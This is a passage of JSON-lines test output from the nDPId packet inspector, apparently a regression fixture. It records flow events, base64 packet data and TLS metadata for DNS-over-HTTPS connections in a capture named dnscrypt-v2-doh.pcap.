+00571{"flow_id":18,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":299,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739374,"pkt_ts_usec":60679,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"REREREREZmZmZmZmCABFAACW9ENAAH4GIn0KAAABdMqwGqhiAbtWR3VANJUC\/FAYAfXmKQAAFwMDAGlZefRuBILhCa44nOQseZvAsQiGp\/GaIQOPhH5d9qoTVY3e\/V7BxLhHxrEUmNpn\/fgjQH5YM8B5ugf6JBLlb1AHH5glyGJ4Cph3RmHdM6pJZZcRVHlRUuhYyr7qtZo4Gx6TGsVJ86U3szE="} +00465{"flow_id":18,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":300,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739374,"pkt_ts_usec":82021,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"ZmZmZmZmRERERERECABFAABLExdAADYGS\/V0yrAaCgAAAQG7qGI0lQL8Vkd1QFAYAfXsZQAAFwMDAB6y6866gsVlqQ5blx3VUSPxGKjLjp2AbFxiT6ORdzA="} +00872{"flow_id":18,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":301,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739374,"pkt_ts_usec":206227,"pkt_caplen":386,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":386,"pkt_l4_len":352,"pkt":"ZmZmZmZmRERERERECABFAAF0ExlAADYGSsp0yrAaCgAAAQG7qGI0lQMfVkd1rlAYAfUHogAAFwMDAUc4DYTOZtj9RXaaH7NpXAZQoqO7YbUhHjfdLeYlWaZISP7ukf0Spo0Y6JI7sq\/THwW\/2aINKtVyHbzum7s938oBiCWCWlDHlFmioYWWMCtEkL1QBq6mHzyhbywvcK8uUcvnk5mqUm6dfcpJMxuIUSQvQRo0YQM7UazfyCgZ89vuIF5ljKsic3QusDiGQToPfUhocEKHeNuPYlzUpj6AObtFOU4I+TpxCSnXaELR0u\/4m98fVmXRwLZ7bdo7BBhoQ39ZDRxlHTGTfLV3Q939OYOdR7\/3l1Zz9lstfhrGGHdAc9K7FIp\/GsFktO8pxjwfazTv9vS+TipJBKh6Vh+MXnKMS22HH8cUTt0H9YimmrKVnGvR9VwobKnoJFO\/0Xyf\/DhYv\/F8bo1EjVf0EFsT7B0fJbfgde38L3BTwRZoW83NPlV1AaSZ1Z0="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":303,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":946739378281,"flow_last_seen":0,"flow_tot_l4_data_len":310,"flow_min_l4_data_len":310,"flow_max_l4_data_len":310,"flow_avg_l4_data_len":310,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"85.5.93.230","src_port":59026,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00812{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":303,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739378,"pkt_ts_usec":281333,"pkt_caplen":344,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":344,"pkt_l4_len":310,"pkt":"REREREREZmZmZmZmCABFAAFK6MRAAH4Gn0EKAAABVQVd5uaSAbv2ZmEwaR3\/oVAYAfZ05AAAFgMBAR0BAAEZAwPCcBaP\/DC8hVoTSokbsQvpjhaLnYrt7eKsiMQ8EXb5AyAAGOihE6CuqcDNXckkTdE7CmzbbGzUcC6GWkBVFb5CcQAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAACqAAAAGQAXAAAUaWJrc3R1cm0uc3lub2xvZ3kubWUABQAFAQAAAAAACgAKAAgAHQAXABgAGQALAAIBAAANABoAGAgEBAMIBwgFCAYEAQUBBgEFAwYDAgECA\/8BAAEAABAADgAMAmgyCGh0dHAvMS4xABIAAAArAAkIAwQDAwMCAwEAMwAmACQAHQAg6FKiZGfISPafy0Na34RI3z\/9T8Zo5Ona0mhcVKXwyTI="} +00778{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":303,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":946739378281,"flow_last_seen":0,"flow_tot_l4_data_len":310,"flow_min_l4_data_len":310,"flow_max_l4_data_len":310,"flow_avg_l4_data_len":310,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"85.5.93.230","src_port":59026,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ibksturm.synology.me","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00551{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":304,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739378,"pkt_ts_usec":310897,"pkt_caplen":153,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":153,"pkt_l4_len":119,"pkt":"ZmZmZmZmRERERERECABFAACL5iJAADQG7KJVBV3mCgAAAQG75pJpHf+h9mZiUlAYAFOUtgAAFgMDAFgCAABUAwPPIa105ZphEb4djAIeZbiRwqIRFnq7jF4HngniyKgznCAAGOihE6CuqcDNXckkTdE7CmzbbGzUcC6GWkBVFb5CcRMCAAAMACsAAgMEADMAAgAZFAMDAAEB"} +00828{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":304,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":2,"flow_first_seen":946739378281,"flow_last_seen":946739378310,"flow_tot_l4_data_len":429,"flow_min_l4_data_len":119,"flow_max_l4_data_len":310,"flow_avg_l4_data_len":214,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"85.5.93.230","src_port":59026,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"ibksturm.synology.me","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"15af977ce25de452b96affa2addb1036","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00424{"flow_id":19,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":305,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739378,"pkt_ts_usec":311104,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"REREREREZmZmZmZmCABFAAAu6MZAAH4GoFsKAAABVQVd5uaSAbv2ZmJSaR4ABFAYAfZzyAAAFAMDAAEB"} +00948{"flow_id":19,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":306,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739378,"pkt_ts_usec":345011,"pkt_caplen":445,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":445,"pkt_l4_len":411,"pkt":"REREREREZmZmZmZmCABFAAGv6MdAAH4GntkKAAABVQVd5uaSAbv2ZmJYaR4ABFAYAfZ1SQAAFgMDAYIBAAF+AwPCcBaP\/DC8hVoTSokbsQvpjhaLnYrt7eKsiMQ8EXb5AyAAGOihE6CuqcDNXckkTdE7CmzbbGzUcC6GWkBVFb5CcQAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAAEPAAAAGQAXAAAUaWJrc3R1cm0uc3lub2xvZ3kubWUABQAFAQAAAAAACgAKAAgAHQAXABgAGQALAAIBAAANABoAGAgEBAMIBwgFCAYEAQUBBgEFAwYDAgECA\/8BAAEAABAADgAMAmgyCGh0dHAvMS4xABIAAAArAAkIAwQDAwMCAwEAMwCLAIkAGQCFBAB6WaWPH4a58n9Vy55153vrND8HYB2nYEr9eTtZhQvr+K0wZRqcd7gi5my3icRP+cC95AMjv\/RLUwvWTvGJ7GfxsQEr1DgaPphz4mtIisyUKe88RjwGENhqVmgi77BxTjgWyUr8yPxR8mF6KE\/7+m+uTvX0I8U7batlyYLLDKS1f5LZug=="} +02385{"flow_id":19,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":307,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739378,"pkt_ts_usec":399920,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"ZmZmZmZmRERERERECABFAAXU5iVAADQG51ZVBV3mCgAAAQG75pJpHgAE9mZj31AQAFN8ZQAAFgMDAN8CAADbAwNIKgS7jpOm3HVoUCYARJcxpv0e2pnrGqQEP1+d4\/l+rCAAGOihE6CuqcDNXckkTdE7CmzbbGzUcC6GWkBVFb5CcRMCAACTACsAAgMEADMAiQAZAIUEAeE\/O1tgYRiVcokShB4pBhHDtpOcmZTWZEJ3WWyUiziuftscb\/mJOaokEXG\/H9g0yLEWB6CYoRWEF2tWUaOQd6sTAO9QnSQcXwEgCwxj+oPPoyoRl87ZgP80IUzDPKqvRKWEd6LgyUEknnYWgB+jfMPhukTtsx2LumAfGk98NtpA\/Y92FwMDACSr7z10NJZX97cncZDfxTIwqcwGEk0dFMzRmunG4z6NhW1TAfkXAwMLmEHWpQFir83wP+qLpcDdLZW4kfLuaEE0xA1iqgZkBheEyhI3OMt3rG1GomTFacOUZKnqvPeVzno1kubg0a7bcO4s+YnZC1nllBAdtvwi6JhitnO\/qjjdgMZh\/toQx7dbXIDaEOpUhk4DSiC0pUn3TLQKP3QnDI9J6zM\/3hICQypUyN2XsBOpO8Kshs6tkPyJK0t04n92xfic2KaN2Du\/Y1RoSYDwYopY2uXDNlJAvFiSENQaucl5hJ9HUtqf6rL3R1PqqoGdeIIxyO3C8N4bRz38oiP7dj09QADhqmrSh1Legt+MEbxdo4Wz79uT4OIPw\/IXrrT4dwDE0bIkqCAh8ZHWYt6d3mYUiSaXSMdKVroLUqZQNEJ1HcMZXXI+QLTq8f0tMM4vTRPw6Wu29zr6y1zCwa9vadztxDuj4SJfvF+St\/LC8yEYi\/J0fLkVsinvDOvwDtpr1V2y4ijKD3S07Klb97dV14s\/pG6hRWBCvbGJB9riC4jEGBwZKuJiaT5s6xhqnCvV37jwn43s\/D7fFp+UVFfyRiNFyK6wgrgqkEfn0qgK0Ou4sL1Cd3lScMu8A+imAP0aXG7\/gOb\/g7KSazB0sr9F0croUvc0GcTkm3wrnpIQJxOymC8rbzj\/XSzgt59E4CqWr8bUGBapyNrHFRvwkdyBCGd3y4scXqG\/Bo3tmOuYomiagmMReDh+R6GpvvfDKYO1EmlF+lxcpd07Fv3rJ7XYZzARykPnnIiJHWh432oHR1mLpKPn4oV0AI9rbnn0yDsU1Bdb2MHFCaSpTN05WNJWbTP6sYNJ4dynOQs86xCEbEop9leaORUo8Xqei5+PKZHngeuMm6Eq69P\/NtmUxGz58M8MFrdv7iFa32SUnywxkzwuzDKIcksuVZ\/AHuAB3SJ16GMM4vDhfs+GYHSQ3Po6XX4hItqlv39HCOEZkFi7UMoYaI2eO3GdWpUDSkCO9S+5Uyd9Sm0fpq2THrBwTW1RL01ZCb6bGHsFOfJCmi8Ws7P\/\/1IHcGrh85znh6nQmHTxjoApqeasI9XpcCWdYL33T6WNFdF5Jlav9dxM63W0CEDj+a4Aamok7CsgWVcV0L3J95x6l\/zeL3w2i1vG1phsbz+mD7g6OvKF9niHovEgSt4Kvra1qBNJlFzpfDWQ9NHtQUdKY6diuNbxRIgbkIUGd3iC4eO7dJkU3QmiXgSscI7RsZbU0R7ZkTQ4P5mOoyawOvyeYnAXHr1FBqoE6RrsGRpSAmtwgpW1pdvdXyPaMNzNzem\/M1tvoMiwfNnJtjjhnmv5EircGjwGDyJoWlqSIVlyNtdTCeRW2iQQ03JtUQ68\/wW3LtE6ur2KJC6mT+60DD45BXln4xqxdhWlGDqQOgWqwD27VpZ5PBdtwxXSwZpk706PnevI7Qf+i9CpJGbsk+AncI73f2sTM+rnD0RGZ8nTSUL5\/bwfnj+ZSyVJF22P9CO+knTzkqATHmcTXgNaDO8DyL0VCPWn\/oSyyTq1PzfGzhLb0F61LpkqLtUE8Dldgms5IjzNdOv4UPecjmkytayLd+PP4CmYKkWyv+3Al7b0UgDw"} +02381{"flow_id":19,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":308,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739378,"pkt_ts_usec":400122,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"ZmZmZmZmRERERERECABFAAXUZiZAADQGZ1ZVBV3mCgAAAQG75pJpHgWw9mZj31AYAFPQCQAAxjIYa1X5TKOCtSFGIgHb8+ozyp7y1KGzci7GO6yP\/DyfwOq04nUD3b+rOCxgHFGKD8WbmBCfvGHKCHZzhM8soeBS65Q3wY1P9H7L5Ggx7mfFFsGFlV+r+iUxQpXnBfFjHFDH9MgyiR16N1WLWtQytG1CsENL6PhYnpwgdBNq6+ExHzOZytz5i5rZN6B7Eb\/scU3Fc39JWdQpaOfzKx\/FvgN2Wr93rEOj+lUbnZcqnfPbzEdXUypU+Lu\/XnzpVnMLtP476x4slHjnRqXSETIgPmfs7wTPnTAWxCwVyLW4v1xa0nxiTZqVHjjfchlTITWzTyD0wo0N3pGuAIP0B1iTrUL5tk2RVlEivbFVyyr4Ozang\/l\/XKCywutQeBoBBpw0ioUi\/qgCXula8ScKAr3zSqYg+iR8bkQXEq8TlTZFyrCl0Gc4pPyXusw7KO42kaGBVSdXxXDRZGo3nksDhwUh1\/O5RlFD6r73m42YhUHW90Hwuzsn4eS4oUXAlftwyMU2ZUEfXdJSRKh4B+l656eXPEngUHr4TKJxsnAj0tQ4RQppyl2fNGvlUkH81KDPEePOzgEj9yuJ5JRBI0Gfp6JRGteyjjaLQNVbNwGZkED50wTeeblD6uc5xxG38NpIa5fJBLPETGY5cTUQz0Rv\/b6N2eGwKcgSWlwfmceceEaRdsOgCyyKWWg+YEAOFv0Zc2rqO9CkyVzoRBxB2oTgv7blQmZRAqApauqgpP7N9GqeCcxKnbSURDTN7VIAQc0sDCchy616bUnNx4DcM8lFnq3SWjrfpvA5l879cFotIFMVlgZYXvH3QEGIDOgWs6YbGN1Jk98d57p3sohLocF0d7Ya081CMyjaFDhk+bWbTYxkJsztu73CX+bKo2wQTsFvl9DwAjK6To+qxjf942rqeCmU5Tgj06QnqzcnHZIy6rMd0AglXi7aAOsztjZSW5yTNGqWsmjPtXVRxZuvtMKPBFKNZQeLvVI2r8wZQ6IH21805jw7a2p+a7Kh7k9WHKshRnxcRqaAVqnlkjus+sW6fTssEsaven8t5f7LInMYi0QVcBVIDuFvApEcN\/yPqyuBPunC09r1EZHVy+7BnOb8kAodXN4WRebhKWcqExtDRKi90ADZ04rj5zSw9V1rsQxS384PxY17xo3uGHW1pAhNiUtroQYTDNxUAeMO7h4mYNUCbCfnGsj9rRg5mQLcNQNci\/ZcfKL5mM6ogBwPWUtaNlMA9Ioat6oYXHMHO612HAY0ZZNoeD7phdHLC6JJC8DUfo8RZIQC5epPn7NqaHRYeNYgMKkuJtqT3U7bZMYORYXwiuXKOAcZrQbBcJsRPkWt2KQyAjhjIkO7LILAcyCTLAaeu9BxMyxw86sc13YhRCi1mKoQTWiulBF+63xXstowIf2UlGUISw6oSBmoe6v6o\/6dAjEgRYeNf0edYFGvUCcDJqHFQaD+pn\/IQhA9V8CkNXXeSia9AECKZnKd60LaEmFvALoJ+k4gAONUk7vsKlXBpM6N1BY5WEp5CPt7ZjezeY0epESmtSP0n9JmdxHcT0MGIC5ZNt6MyWH8h4iIckf8BmCOVpCadt206NimeTWgi26WRazH1JuuCL0Vt\/xGc6m9s90Nsb0Rb54DbQzTi5MKmRKKtqeXy28Q+72ddrgfEV0viP6RNbExT7HLnTit5oYsr9cRPFdeDzWcrPumMReqplvmV1+O+3dqfJ4z0hseuRIM\/fQDFp3kZzHa6ed6U9+CNvaJsMBkKYeB\/x9r3X1fde4xPRdHGLCzz\/svkyc\/UFkr1aMMACtYyVC5U7QPnnpRtljAxRY\/95Q9+zbeUptC6OndsfnLd8Mv+4Wt4xlVUSOTw82bd6pRaQEihCudHDxFsIZ3YVJ\/tg\/cadj06UE\/v\/MYD0KZ34BViAMVw4beYvC+u3dOWchMPiwPZBPP"} +01153{"flow_id":19,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":309,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739378,"pkt_ts_usec":400548,"pkt_caplen":599,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":599,"pkt_l4_len":565,"pkt":"ZmZmZmZmRERERERECABFAAJJ5idAADQG6t9VBV3mCgAAAQG75pJpHgtc9mZj31AYAFNC+AAAY9wkV1VOAq8EQlYc5jNWi89Ob6XtNtBKOndXLmyVdrhyLat0C1ahcr3gd6I60vWOng1Hyk1rVCJZFlH0P2KO11jr2RRvd2SMAwTfiNhlKxqdLlFu4ttJhjUwnTH3Xr17AFtDKHF5Gjguo+ga6WHR6gKNb3KHjb\/YtLssci09y0chLHe8x+Xjrf2ohkSjCOsoVqb5Vo42EI1E4ZhsRvgAYXcgqVYe24MKHdIMWFhziXf5oUrEff40kMb8wg5AswU\/L1ZeYKUNJqt8m2WejM5oxCioxU+MVNDI+Kj2n86iqokmKRkwvvIodTRNDimNJhBV9pAHYZFev3eUJnA81y5ZT2XViqQ3rQNXswN0VPFkhp1UWWJOaCCgdLMBxTmcBgcz43YU6K9KbnqHthNiZKu4qClK1N7ZZf9gMCOZu47d19vwoiV4DWMZHw9UQTHtGlq34YEXAwMAgLRL39+aNDhjero861P8lP9ehQQ3DFWuyQ0FcSBAm8\/Mqmt6UNcCUFXipyfO3rCuoQWVsrhkNfiCvdt9oiX1Rndrr8J1atpzVfO4wmRGFCde3g9ahrDzrnNSOK74Kc6OJT\/MDiaRrdd8rPpMbmF97zHj1HNNTc2QAS5z2u+FaZA7FwMDAEX\/OphstMi4mjVDaGEIzVam99zL4udibi9jrhiNdC6SoNsY8VZRKGv\/pRDe+pYtX8GeHwaiNk1Elfgm6O0Yownwa6OmH34="} +00521{"flow_id":19,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":310,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739378,"pkt_ts_usec":460349,"pkt_caplen":128,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":128,"pkt_l4_len":94,"pkt":"REREREREZmZmZmZmCABFAABy6MlAAH4GoBQKAAABVQVd5uaSAbv2ZmPfaR4NfVAYAfV0DAAAFwMDAEWyjOcFIgR35VXwL\/2pOJJEVo1EdwWyNxifwRg1XuiZYluuH6N0z2FnbAj6G\/dYOr+Uz\/gDshK5lkYbPFMK07JQhMRi1og="} +00537{"flow_id":19,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":311,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739378,"pkt_ts_usec":460521,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+6MpAAH4GoAcKAAABVQVd5uaSAbv2ZmQpaR4NfVAYAfV0GAAAFwMDAFET6wzW0O2Eb4d5ii3lgVgTtdp+pOnhTKhybIKby0ge5fuO8A3Oc4Mv\/tXgs7UBgWg+T9mro+2mEQIzywXkJLV06fbVnr9QCGgSH8i\/d6Qk1WU="} +00663{"flow_id":19,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":312,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739378,"pkt_ts_usec":460656,"pkt_caplen":230,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":230,"pkt_l4_len":196,"pkt":"REREREREZmZmZmZmCABFAADY6MtAAH4Gn6wKAAABVQVd5uaSAbv2ZmR\/aR4NfVAYAfV0cgAAFwMDAKsyL5CpEcUWeL+2lqcne5fd0ttHCEHiW8SKCzaf4ELSyEiAUyR7UzbD+pGS5gH\/KISQxTbsh1lR3ue3YmdZqA4nvhBi49qqUOsRGTY\/0kD8HK3\/fDoHgby2MwAXuc43Bd9NUF7PJYaf3feOkkIagzCsrtF+NBh5Cs16EmcaTt3q0TXjCQzWFHu5ntk+V+dMXBQdLT\/5h3TAJufN43sm4xavEachSd\/IZ1Je\/rM="} +00527{"flow_id":19,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":313,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739378,"pkt_ts_usec":460725,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"REREREREZmZmZmZmCABFAAB36MxAAH4GoAwKAAABVQVd5uaSAbv2ZmUvaR4NfVAYAfV0EQAAFwMDAEprZ96vQSue6bErv5h0pL6Bq7cMxiUceeoXwYvgYJacAK71iT+6u2u+NTJp8XhbBpVefg9VPnWweHs7YuFUvgTklWMO5GKxVclWRw=="} +00840{"flow_id":19,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":314,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739378,"pkt_ts_usec":489857,"pkt_caplen":365,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":365,"pkt_l4_len":331,"pkt":"ZmZmZmZmRERERERECABFAAFf5ixAADQG68RVBV3mCgAAAQG75pJpHg199mZlflAYAFNNNQAAFwMDATL7AkIEqXKwRVlGGs9Sz1Tjd5KZ24juicH5hkQ\/GIEK6EH+Ie7UPgDDdBMN2Thi3atLzH7yNUQgCj+N68MO4YHrlzVzGBuNpoEKfx6OLdTItHqf06ZKfFsQduoLGN8mOVVjgQZuatRGSJET8qjiJJ2NLdPBzY3lET6lBJ7Cop\/jz7RSddd1D9hO9nAhPYtA\/iH9k7HsHc8ELIXuUwmJyE2pgT\/KFulIWYkwxHviUhhXjsK1X8eSzmYuJ4yxlme4wdmCSwdc0+AQLi8DntzuLy1pk0fKIanZAX7+izcdZE7Jc2Ww2NfzSdF7hJxameEgwZDCHC3EmD7SocF5PQldegCq5nDx7AUD3Mm0KophPKY4dhX5kfAkvAK3Rh1jaqPQfay+dN49FMWT7ulKwHVy0EgdbNs="} +00845{"flow_id":19,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":315,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739378,"pkt_ts_usec":490575,"pkt_caplen":365,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":365,"pkt_l4_len":331,"pkt":"ZmZmZmZmRERERERECABFAAFf5i1AADQG68NVBV3mCgAAAQG75pJpHg609mZlflAYAFOecwAAFwMDATLvFn2dCHpX5ucAb60\/bust1dF4G0efxnH\/Ie9iI0zRiLlB4F7RHnYdsRD+gDXrcCgEcYSd+eq6qrEY7zZPOSeWNMGdfP1yZ\/+a4jZTpYfLQg1\/wmhGiIjweUwOFipd2GZGk4yBoXHYbC5\/rIZO2ylpFfwrLcIVNOwrhGb6oe5i4uEwijqDjc36MEJy9Sj+yjaXSSKDdwCCec30eNEiETJhyR+Jb6QsqCV5zD2yWL730sPIWV+9PWxxFzhcPRsV3jPvl8AxHLu8CSujyHjA1twKQp3hhHDvoQHnXSML\/5AThuWBdNCPwK\/dnCGMYTy8NxPNABaz5og1l\/mYTq8teV8Xur7ai9p6Hm7+9pv5MENUWf6husIDCKq4yVsRH8jhdZCifEUReGYd31ngSHcz9O\/KC3M="} +00535{"flow_id":19,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":316,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739378,"pkt_ts_usec":491314,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"ZmZmZmZmRERERERECABFAAB85i5AADQG7KVVBV3mCgAAAQG75pJpHg\/r9mZlflAYAFPxtQAAFwMDAE9iFvd+NSXnn3akoG9wS0pu\/nEwPEZTzjOoUC7LcJkPFKktQGRfkVZfGjUsiAXh7VHiXv+17PPH6j\/Z6a4+gnh2sfbG9SMbuK5DsCclqYjs"} +00461{"flow_id":19,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":317,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739378,"pkt_ts_usec":491396,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABH6M5AAH4GoDoKAAABVQVd5uaSAbv2ZmV+aR4QP1AYAfVz4QAAFwMDABqjGCxcM+TPK0TxPC54YtVIhaoXfHJm0O1RLA=="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":325,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":946739378577,"flow_last_seen":0,"flow_tot_l4_data_len":303,"flow_min_l4_data_len":303,"flow_max_l4_data_len":303,"flow_avg_l4_data_len":303,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"104.28.28.34","src_port":33724,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00804{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":325,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739378,"pkt_ts_usec":577768,"pkt_caplen":337,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":337,"pkt_l4_len":303,"pkt":"REREREREZmZmZmZmCABFAAFDLylAAH4Gh5EKAAABaBwcIoO8AbvZKqUSoyMYWVAYAfZGMAAAFgMBARYBAAESAwNktN1XF4bqrby0niN\/MgT4p6NPXKBlRwOJCoza94pvXyD9DZHEPvQMzjP6pbu5TmyGbnG5vDXlt6MJFI6XifT24wAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAACjAAAAEgAQAAANanAudGlhcmFwLm9yZwAFAAUBAAAAAAAKAAoACAAdABcAGAAZAAsAAgEAAA0AGgAYCAQEAwgHCAUIBgQBBQEGAQUDBgMCAQID\/wEAAQAAEAAOAAwCaDIIaHR0cC8xLjEAEgAAACsACQgDBAMDAwIDAQAzACYAJAAdACBNe3CKgugpSU\/ahaeKXUN1ypv0O\/7wv4rJDS1FbyCQKA=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":325,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":946739378577,"flow_last_seen":0,"flow_tot_l4_data_len":303,"flow_min_l4_data_len":303,"flow_max_l4_data_len":303,"flow_avg_l4_data_len":303,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"104.28.28.34","src_port":33724,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": 